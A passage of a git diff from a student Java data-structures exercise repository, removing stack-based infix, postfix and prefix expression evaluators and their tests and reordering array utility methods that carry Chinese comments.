+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
 		}
 		
-		{
-			InfixExpr expr = new InfixExpr("2+3*4/2+1");
-			Assert.assertEquals(9, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("2-3*4/2-1");
-			Assert.assertEquals(-5.0, expr.evaluate(), 0.001f);
-		}
-
-		{
-			InfixExpr expr = new InfixExpr("6-1*5+2+0");
-			Assert.assertEquals(3.0, expr.evaluate(), 0.001f);
-		}
-
 		{
 			InfixExpr expr = new InfixExpr("3*20/2");
 			Assert.assertEquals(30, expr.evaluate(), 0.001f);
 		}
 		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2+1");
-			Assert.assertEquals(31, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2+1-1");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-
 		{
 			InfixExpr expr = new InfixExpr("20/2*3");
 			Assert.assertEquals(30, expr.evaluate(), 0.001f);
 		}
-
+		
 		{
 			InfixExpr expr = new InfixExpr("10-30+50");
 			Assert.assertEquals(30, expr.evaluate(), 0.001f);
 		}
-
+		
 	}
 
 }
diff --git a/group12/382266293/coding/basic/stack/expr/InfixToPostfix.java b/group12/382266293/coding/basic/stack/expr/InfixToPostfix.java
deleted file mode 100644
index a293ddfeee..0000000000
--- a/group12/382266293/coding/basic/stack/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class InfixToPostfix {
-	
-	public static List<Token> convert(String expr) {
-
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(expr);
-		List<Token> pTokens = new Stack<>();
-		Stack<Token> opStack = new Stack<>();
-		
-		for (Token token : tokens) {
-			if (token.isNumber()) {
-				pTokens.add(token);
-			} else {
-				if (token.isLeftSquare()) {
-					opStack.push(token);
-				} else if (token.isRightSquare()) {
-					while (!opStack.peek().isLeftSquare()) {
-						pTokens.add(opStack.pop());
-					}
-					opStack.pop();
-				} else {
-					if (opStack.isEmpty() || token.hasHigherPriority(opStack.peek())) {
-						opStack.add(token);
-					} else {
-						while (!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())) {
-							pTokens.add(opStack.pop());
-						}
-						opStack.add(token);
-					}
-				}
-			}
-		}
-		
-		while(!opStack.isEmpty()) {
-			pTokens.add(opStack.pop());
-		}
-		
-		System.out.println(pTokens);
-		return pTokens;
-	}
-
-	public static void main(String[] args) {
-		convert("10-2*3+50");
-	}
-	
-}
diff --git a/group12/382266293/coding/basic/stack/expr/PostfixExpr.java b/group12/382266293/coding/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index e4eaa4bfe6..0000000000
--- a/group12/382266293/coding/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PostfixExpr {
-String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-
-		Stack<Float> numStack = new Stack<>();
-		
-		for(Token token : tokens){
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			} else {
-				Float f2 = numStack.pop();
-				Float f1 = numStack.pop();
-				numStack.push(calculate(token.toString(), f1,f2));
-			}
-		}
-		
-		return numStack.pop().floatValue();
-	}
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-
-	
-	
-}
diff --git a/group12/382266293/coding/basic/stack/expr/PostfixExprTest.java b/group12/382266293/coding/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index 1a6137e537..0000000000
--- a/group12/382266293/coding/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package stack.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group12/382266293/coding/basic/stack/expr/PrefixExpr.java b/group12/382266293/coding/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index 1628810d68..0000000000
--- a/group12/382266293/coding/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-import stack.StackUtil;
-
-public class PrefixExpr {
-	String expr = null;
-	
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		System.out.println(tokens);
-		Stack<Token> exprStack = new Stack<>();
-		Stack<Float> numStack = new Stack<>();
-		for(Token token : tokens){
-			exprStack.push(token);
-		}
-		System.out.println(exprStack);
-		while(!exprStack.isEmpty()){
-			Token t = exprStack.pop();
-			if(t.isNumber()){
-				numStack.push(new Float(t.getIntValue()));
-			}else{
-				Float f1 = numStack.pop();
-				Float f2 = numStack.pop();
-				numStack.push(calculate(t.toString(),f1,f2));
-				
-			}		
-		}
-		return numStack.pop().floatValue();
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-	
-	
-}
diff --git a/group12/382266293/coding/basic/stack/expr/PrefixExprTest.java b/group12/382266293/coding/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index 85b68a1020..0000000000
--- a/group12/382266293/coding/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group12/382266293/coding/basic/stack/expr/TParser.java b/group12/382266293/coding/basic/stack/expr/TParser.java
deleted file mode 100644
index 06c543efd3..0000000000
--- a/group12/382266293/coding/basic/stack/expr/TParser.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Queue;
-import java.util.concurrent.LinkedBlockingDeque;
-
-public class TParser {
-
-	Queue<Integer> intQ;
-	Queue<String> signQ;
-	static final List<String> signs = new ArrayList<String>();
-	{
-		signs.add("+");
-		signs.add("-");
-		signs.add("*");
-		signs.add("/");
-	}
-
-	public TParser() {
-		intQ = new LinkedBlockingDeque<Integer>();
-		signQ = new LinkedBlockingDeque<String>();
-	}
-
-	public void parse(String expr) {
-
-		String[] tokens = expr.split("");
-		String number = "";
-
-		for (int i = 0; i < tokens.length; i++) {
-
-			String c = tokens[i];
-
-			if (isSign(c)) {
-				
-				signQ.add(c);
-			
-				int num = Integer.parseInt(number);
-				intQ.add(num);
-				number = "";
-	
-			} else {
-				
-				number += tokens[i];
-				
-			}
-
-		}
-
-		int num = Integer.parseInt(number);
-		intQ.add(num);
-
-		int intSize = intQ.size();
-		if (intSize < 2 || intSize - signQ.size() > 1) {
-			throw new RuntimeException("Invalid input IntQ: " + intQ + " signQ " + signQ);
-		}
-
-		intQ.add(0);
-
-	}
-
-	private boolean isSign(String c) {
-		if (signs.contains(c)) {
-			return true;
-		}
-		return false;
-	}
-
-	public int nextInt() {
-		return intQ.poll();
-	}
-
-	public String nextSign() {
-		return signQ.poll();
-	}
-
-	public boolean hasNextInt() {
-		return !intQ.isEmpty();
-	}
-
-	public boolean hasNextSign() {
-		return !signQ.isEmpty();
-	}
-
-}
diff --git a/group12/382266293/coding/basic/stack/expr/Token.java b/group12/382266293/coding/basic/stack/expr/Token.java
deleted file mode 100644
index 670663d358..0000000000
--- a/group12/382266293/coding/basic/stack/expr/Token.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package stack.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/", "(", ")");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-		priorities.put("(", 0);
-		priorities.put(")", 3);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-	
-	public boolean isLeftSquare() {
-		if (!isOperator()) {
-			return false;
-		}
-
-		return priorities.get(this.value) == 0;
-	}
-	
-	public boolean isRightSquare() {
-		if (!isOperator()) {
-			return false;
-		}
-
-		return priorities.get(this.value) == 3;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-
-	public boolean isSquare() {
-		
-		return isLeftSquare() || isRightSquare();
-	}
-
-
-	
-	
-
-}
\ No newline at end of file
diff --git a/group12/382266293/coding/basic/stack/expr/TokenParser.java b/group12/382266293/coding/basic/stack/expr/TokenParser.java
deleted file mode 100644
index 5f4be41e00..0000000000
--- a/group12/382266293/coding/basic/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private  int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
diff --git a/group12/382266293/coding/basic/stack/expr/TokenParserTest.java b/group12/382266293/coding/basic/stack/expr/TokenParserTest.java
deleted file mode 100644
index 427f887edd..0000000000
--- a/group12/382266293/coding/basic/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,66 +0,0 @@
-package stack.expr;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-	
-	@Test
-	public void test1() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("9+(3-1)*3+10/2");
-		System.out.println(tokens);
-//		//9+(3-1)*3+10/2
-//		PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-//		Assert.assertEquals(20, expr.evaluate(),0.0f);  [9, 3, 1, -, 3, *, +, 10, 2, /, +]
-		
-//		Assert.assertEquals(300, tokens.get(0).getIntValue());
-//		Assert.assertEquals("*", tokens.get(1).toString());
-//		Assert.assertEquals(20, tokens.get(2).getIntValue());
-//		Assert.assertEquals("+", tokens.get(3).toString());
-//		Assert.assertEquals(12, tokens.get(4).getIntValue());
-//		Assert.assertEquals("*", tokens.get(5).toString());
-//		Assert.assertEquals(5, tokens.get(6).getIntValue());
-//		Assert.assertEquals("-", tokens.get(7).toString());
-//		Assert.assertEquals(20, tokens.get(8).getIntValue());
-//		Assert.assertEquals("/", tokens.get(9).toString());
-//		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-	
-	
-
-}
diff --git a/group12/382266293/src/array/ArrayUtil.java b/group12/382266293/src/array/ArrayUtil.java
index 0abca4577f..ea847fd386 100644
--- a/group12/382266293/src/array/ArrayUtil.java
+++ b/group12/382266293/src/array/ArrayUtil.java
@@ -8,38 +8,106 @@
 
 public class ArrayUtil {
 
-	public static void initialArray(int[] arr, int j) {
-		for (int i = 0; i < arr.length; i++) {
-			arr[i] = j;
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * 
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin) {
+
+		int temp;
+		int index = origin.length - 1;
+		int numbersToReverse = origin.length / 2;
+		for (int i = 0; i < numbersToReverse; i++) {
+			temp = origin[i];
+			origin[i] = origin[index - i];
+			origin[index - i] = temp;
 		}
 	}
 
-	public static boolean isPerfectNum(int num) {
+	/**
+	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
+	 * 
+	 * @param oldArray
+	 * @return
+	 */
 
-		int sum = 0;
-		for (int i = 1; i <= num / 2; i++) {
-			if (num % i == 0)
-				sum += i;
+	public int[] removeZero(int[] oldArray) {
+
+		BitSet check = new BitSet(oldArray.length);
+		boolean isZero;
+		for (int i = 0; i < oldArray.length; i++) {
+			isZero = (oldArray[i] == 0) ? true : false;
+			check.set(i, isZero);
 		}
 
-		return (num == sum) ? true : false;
+		int newSize = oldArray.length - check.cardinality();
+		int[] newArr = new int[newSize];
+
+		int nextIndex = check.nextClearBit(0);
+		for (int i = 0; i < newSize; i++) {
+			newArr[i] = oldArray[nextIndex];
+			nextIndex = check.nextClearBit(nextIndex + 1);
+		}
 
+		return newArr;
 	}
 
-	public static boolean isPrime(int num) {
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+	 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+	 * 
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
 
-		if (num <= 1)
-			return false;
+	public int[] merge(int[] array1, int[] array2) {
 
-		if (num == 2)
-			return true;
+		int len1 = array1.length;
+		int len2 = array2.length;
+		int len3 = array1[len1 - 1] < array2[len2 - 1] ? array2[len2 - 1] + 1 : array1[len1 - 1] + 1;
+		int[] newArr = new int[len3];
+		initialArray(newArr, -1);
+		for (int i = 0; i < len1; i++) {
+			newArr[array1[i]] = 0;
+		}
+		for (int i = 0; i < len2; i++) {
+			newArr[array2[i]] = 0;
+		}
+		int mergedLength = 0;
+		for (int i = 0; i < len3; i++) {
+			if (newArr[i] != -1)
+				newArr[mergedLength++] = i;
+		}
+		return Arrays.copyOf(newArr, mergedLength);
+	}
 
-		for (int i = 2; i <= Math.sqrt(num) + 1; i++) {
-			if (num % i == 0)
-				return false;
+	public static void initialArray(int[] arr, int j) {
+		for (int i = 0; i < arr.length; i++) {
+			arr[i] = j;
 		}
+	}
 
-		return true;
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * 
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int[] oldArray, int size) {
+
+		int[] newArr = new int[oldArray.length + size];
+		for (int i = 0; i < oldArray.length; i++) {
+			newArr[i] = oldArray[i];
+		}
+		return newArr;
 	}
 
 	/**
@@ -63,30 +131,6 @@ public int[] fibonacci(int max) {
 		return Arrays.copyOf(result, ++count);
 	}
 
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max) {
-
-		int count = 0;
-		ArrayList<Integer> myList = new ArrayList<Integer>();
-		for (int i = 1; i < max; i++) {
-			if (isPerfectNum(i)) {
-				count++;
-				myList.add(i);
-			}
-		}
-		int[] result = new int[count];
-		Iterator<Integer> iterator = myList.iterator();
-		for (int i = 0; i < count; i++) {
-			result[i] = iterator.next();
-		}
-		return result;
-	}
-
 	/**
 	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
 	 * 
@@ -110,117 +154,73 @@ public int[] getPrimes(int max) {
 		return result;
 	}
 
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * 
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int[] oldArray, int size) {
+	public static boolean isPrime(int num) {
 
-		int[] newArr = new int[oldArray.length + size];
-		for (int i = 0; i < oldArray.length; i++) {
-			newArr[i] = oldArray[i];
-		}
-		return newArr;
-	}
+		if (num <= 1)
+			return false;
 
-	/**
-	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
-	 * 
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator) {
-		StringBuilder sb = new StringBuilder();
-		for (int i = 0; i < array.length; i++) {
-			sb.append(array[i]);
-			if (i < array.length - 1)
-				sb.append(seperator);
+		if (num == 2)
+			return true;
+
+		for (int i = 2; i <= Math.sqrt(num) + 1; i++) {
+			if (num % i == 0)
+				return false;
 		}
-		return sb.toString();
+
+		return true;
 	}
 
 	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
-	 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
 	 * 
-	 * @param array1
-	 * @param array2
+	 * @param max
 	 * @return
 	 */
+	public int[] getPerfectNumbers(int max) {
 
-	public int[] merge(int[] array1, int[] array2) {
-
-		int len1 = array1.length;
-		int len2 = array2.length;
-		int len3 = array1[len1 - 1] < array2[len2 - 1] ? array2[len2 - 1] + 1 : array1[len1 - 1] + 1;
-		int[] newArr = new int[len3];
-		initialArray(newArr, -1);
-		for (int i = 0; i < len1; i++) {
-			newArr[array1[i]] = 0;
-		}
-		for (int i = 0; i < len2; i++) {
-			newArr[array2[i]] = 0;
+		int count = 0;
+		ArrayList<Integer> myList = new ArrayList<Integer>();
+		for (int i = 1; i < max; i++) {
+			if (isPerfectNum(i)) {
+				count++;
+				myList.add(i);
+			}
 		}
-		int mergedLength = 0;
-		for (int i = 0; i < len3; i++) {
-			if (newArr[i] != -1)
-				newArr[mergedLength++] = i;
+		int[] result = new int[count];
+		Iterator<Integer> iterator = myList.iterator();
+		for (int i = 0; i < count; i++) {
+			result[i] = iterator.next();
 		}
-		return Arrays.copyOf(newArr, mergedLength);
+		return result;
 	}
 
-	/**
-	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
-	 * 
-	 * @param oldArray
-	 * @return
-	 */
-
-	public int[] removeZero(int[] oldArray) {
+	public static boolean isPerfectNum(int num) {
 
-		BitSet check = new BitSet(oldArray.length);
-		boolean isZero;
-		for (int i = 0; i < oldArray.length; i++) {
-			isZero = (oldArray[i] == 0) ? true : false;
-			check.set(i, isZero);
+		int sum = 0;
+		for (int i = 1; i <= num / 2; i++) {
+			if (num % i == 0)
+				sum += i;
 		}
 
-		int newSize = oldArray.length - check.cardinality();
-		int[] newArr = new int[newSize];
-
-		int nextIndex = check.nextClearBit(0);
-		for (int i = 0; i < newSize; i++) {
-			newArr[i] = oldArray[nextIndex];
-			nextIndex = check.nextClearBit(nextIndex + 1);
-		}
+		return (num == sum) ? true : false;
 
-		return newArr;
 	}
 
 	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
-	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
 	 * 
-	 * @param origin
+	 * @param array
+	 * @param s
 	 * @return
 	 */
-	public void reverseArray(int[] origin) {
-
-		int temp;
-		int index = origin.length - 1;
-		int numbersToReverse = origin.length / 2;
-		for (int i = 0; i < numbersToReverse; i++) {
-			temp = origin[i];
-			origin[i] = origin[index - i];
-			origin[index - i] = temp;
+	public String join(int[] array, String seperator) {
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < array.length; i++) {
+			sb.append(array[i]);
+			if (i < array.length - 1)
+				sb.append(seperator);
 		}
+		return sb.toString();
 	}
 
 }
\ No newline at end of file
diff --git a/group12/382266293/src/array/ArrayUtilTest.java b/group12/382266293/src/array/ArrayUtilTest.java
index d86ecde1fc..031ef6c09b 100644
--- a/group12/382266293/src/array/ArrayUtilTest.java
+++ b/group12/382266293/src/array/ArrayUtilTest.java
@@ -1,14 +1,10 @@
 package array;
 
-import static junit.framework.TestCase.assertEquals;
-import static org.junit.Assert.assertArrayEquals;
-import static util.TestUtil.getRandomIntArray;
-import static util.TestUtil.getRandomNumber;
-
+import static org.junit.Assert.*;
+import static util.TestUtil.*;
 import java.util.Arrays;
 import java.util.Iterator;
 import java.util.TreeSet;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -29,61 +25,43 @@ public void tearDown() throws Exception {
 	}
 
 	@Test
-	public void testFibonacci() {
-		int[] expected = new int[] { 1, 1, 2, 3, 5, 8, 13 };
-		int[] acutal = new int[expected.length];
-		actual = au.fibonacci(15);
-		assertArrayEquals(expected, actual);
-	}
+	public void testReverseArray() {
 
-	@Test
-	public void testGetPerfectNumbers() {
+		int size = getRandomNumber();
+		int[] expected = getRandomIntArray(size);
+		actual = Arrays.copyOf(expected, size);
 
-		int[] expected = new int[] { 6, 28, 496, 8128 };
-		int[] acutal = new int[expected.length];
-		actual = au.getPerfectNumbers(10000);
-		assertArrayEquals(expected, actual);
-	}
+		au.reverseArray(actual);
 
-	@Test
-	public void testGetPrimes() {
+		for (int i = 0; i < size; i++) {
+			assertEquals(expected[i], actual[size - 1 - i]);
+		}
 
-		int[] expected = new int[] { 2, 3, 5, 7, 11, 13, 17, 19 };
-		int[] acutal = new int[expected.length];
-		actual = au.getPrimes(23);
-		assertArrayEquals(expected, actual);
 	}
 
 	@Test
-	public void testGrow() {
-		int[] expected = getRandomIntArray(getRandomNumber());
-		int growSize = getRandomNumber();
-		int[] actual = au.grow(expected, growSize);
+	public void testRemoveZero() {
 
-		assertEquals(expected.length + growSize, actual.length);
+		int size = getRandomNumber(10000);
+		int[] expected = getRandomIntArray(size);
 
-		for (int i = 0; i < actual.length; i++) {
-			if (i < expected.length) {
-				assertEquals(expected[i], actual[i]);
-			} else {
-				assertEquals(0, actual[i]);
-			}
+		int zeros = getRandomNumber(size - 1);
+		TreeSet<Integer> t = new TreeSet<Integer>();
+		while (t.size() != zeros) {
+			t.add(getRandomNumber(size));
 		}
 
-	}
-
-	@Test
-	public void testJoin() {
-
-		int[] expected = getRandomIntArray(getRandomNumber());
-		String seperator = "-";
-		String joinedString = au.join(expected, seperator);
+		for (Integer i : t) {
+			expected[i] = 0;
+		}
 
-		String[] actual = joinedString.split(seperator);
+		int expectedSize = size - zeros;
+		actual = au.removeZero(expected);
+		assertEquals(expectedSize, actual.length);
 
-		assertEquals(expected.length, actual.length);
-		for (int i = 0; i < expected.length; i++) {
-			assertEquals(expected[i], Integer.parseInt(actual[i]));
+		for (int i = 0, j = 0; i < size; i++) {
+			if (expected[i] != 0)
+				assertEquals(expected[i], actual[j++]);
 		}
 
 	}
@@ -114,43 +92,61 @@ public void testMerge() {
 	}
 
 	@Test
-	public void testRemoveZero() {
+	public void testGrow() {
+		int[] expected = getRandomIntArray(getRandomNumber());
+		int growSize = getRandomNumber();
+		int[] actual = au.grow(expected, growSize);
 
-		int size = getRandomNumber(10000);
-		int[] expected = getRandomIntArray(size);
+		assertEquals(expected.length + growSize, actual.length);
 
-		int zeros = getRandomNumber(size - 1);
-		TreeSet<Integer> t = new TreeSet<Integer>();
-		while (t.size() != zeros) {
-			t.add(getRandomNumber(size));
+		for (int i = 0; i < actual.length; i++) {
+			if (i < expected.length) {
+				assertEquals(expected[i], actual[i]);
+			} else {
+				assertEquals(0, actual[i]);
+			}
 		}
 
-		for (Integer i : t) {
-			expected[i] = 0;
-		}
+	}
 
-		int expectedSize = size - zeros;
-		actual = au.removeZero(expected);
-		assertEquals(expectedSize, actual.length);
+	@Test
+	public void testFibonacci() {
+		int[] expected = new int[] { 1, 1, 2, 3, 5, 8, 13 };
+		int[] acutal = new int[expected.length];
+		actual = au.fibonacci(15);
+		assertArrayEquals(expected, actual);
+	}
 
-		for (int i = 0, j = 0; i < size; i++) {
-			if (expected[i] != 0)
-				assertEquals(expected[i], actual[j++]);
-		}
+	@Test
+	public void testGetPrimes() {
 
+		int[] expected = new int[] { 2, 3, 5, 7, 11, 13, 17, 19 };
+		int[] acutal = new int[expected.length];
+		actual = au.getPrimes(23);
+		assertArrayEquals(expected, actual);
 	}
 
 	@Test
-	public void testReverseArray() {
+	public void testGetPerfectNumbers() {
 
-		int size = getRandomNumber();
-		int[] expected = getRandomIntArray(size);
-		actual = Arrays.copyOf(expected, size);
+		int[] expected = new int[] { 6, 28, 496, 8128 };
+		int[] acutal = new int[expected.length];
+		actual = au.getPerfectNumbers(10000);
+		assertArrayEquals(expected, actual);
+	}
 
-		au.reverseArray(actual);
+	@Test
+	public void testJoin() {
 
-		for (int i = 0; i < size; i++) {
-			assertEquals(expected[i], actual[size - 1 - i]);
+		int[] expected = getRandomIntArray(getRandomNumber());
+		String seperator = "-";
+		String joinedString = au.join(expected, seperator);
+
+		String[] actual = joinedString.split(seperator);
+
+		assertEquals(expected.length, actual.length);
+		for (int i = 0; i < expected.length; i++) {
